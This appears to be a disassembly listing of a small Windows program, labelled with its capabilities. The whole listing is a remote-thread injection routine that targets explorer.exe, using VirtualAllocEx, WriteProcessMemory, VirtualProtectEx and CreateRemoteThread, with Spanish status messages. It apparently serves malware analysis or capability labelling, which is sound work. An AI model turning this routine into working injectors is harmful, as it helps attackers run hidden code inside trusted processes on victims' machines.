Function at 0x140001070
Capabilities:
Create thread
Enumerate processes
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x288], rax
xor ebp, ebp
mov qword [rsp + 0x40], 0x238
xor edx, edx
mov dword [rsp + 0x48], ebp
mov r8d, 0x20c
mov qword [rsp + 0x50], rbp
lea rcx, [rsp + 0x6c]
mov qword [rsp + 0x58], rbp
mov edi, ebp
mov qword [rsp + 0x60], rbp
mov dword [rsp + 0x68], ebp
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rsi, str.explorer.exe
mov rbx, rax
test rax, rax
jne 0x14000111b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_en_CreateToolhelp32Snapshot__CODE:__d__n_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rsi
lea rcx, str.____Error_al_conseguir_un_handle__Proceso__s_no_encontrado__n_n
call fcn.140001010
jmp 0x14000133d
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001140
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Error_en_Process32First__CODE:__d__n_n
jmp 0x1400011ab
lea rdx, [rsp + 0x6c]
mov rax, 0xffffffffffffffff
nop dword [rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x140001170
add rax, 2
cmp rax, 0xd
je 0x140001184
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
je 0x140001150
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001140
jmp 0x1400011b2
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400011b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Error_en_OpenProcess__CODE:__d__n_n
mov edx, eax
call fcn.140001010
test rdi, rdi
jne 0x1400011cb
mov rdx, rsi
lea rcx, str.____Error_al_conseguir_un_handle__Proceso__s_no_encontrado__n_n
call fcn.140001010
jmp 0x14000133d
mov rdx, rsi
lea rcx, str.___Proceso_encontrado__s_encontrado__n_n
call fcn.140001010
lea rcx, str.___Presiones__ENTER__para_inyectar_..._n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor edx, edx
mov dword [rsp + 0x280], ebp
mov r9d, 0x3000
mov dword [rsp + 0x284], ebp
mov r8d, 0x1cd
mov dword [rsp + 0x20], 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x14000122d
lea rbx, str.____Error_en_VirtualAllocEx__CODE:__d__n_n
jmp 0x1400012f2
mov rdx, rbx
lea rcx, str.___Buffer_asignado_en:_0x_p__n_n
call fcn.140001010
lea rcx, str.___Presione__ENTER__para_escribir_el_buffer_..._n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov r9d, 0x1cd
mov qword [rsp + 0x20], rbp
lea r8, [0x140005080]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001279
lea rbx, str.____Error_en_WriteProcessMemory__CODE:__d__n_n
jmp 0x1400012f2
xor edx, edx
lea rcx, [0x140005080]
mov r8d, 0x1cd
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x280]
mov r9d, 0x10
mov r8d, 0x1cd
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400012bf
lea rbx, str.____Error_en_VirtualProtectEx__CODE:__d_n
jmp 0x1400012f2
lea rax, [rsp + 0x284]
mov r9, rbx
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], ebp
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140001310
lea rbx, str.____Error_en_CreateRemoteThread__CODE:__d__n_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140001010
lea rcx, str.____Error_al_tratar_de_inyectar_el_payload_n_n
call fcn.140001010
jmp 0x14000133d
lea rcx, str.___INYECTADO___n
call fcn.140001010
mov r9d, 0x8000
mov r8d, 0x1cd
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x288]
xor rcx, rsp
call fcn.140001380
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret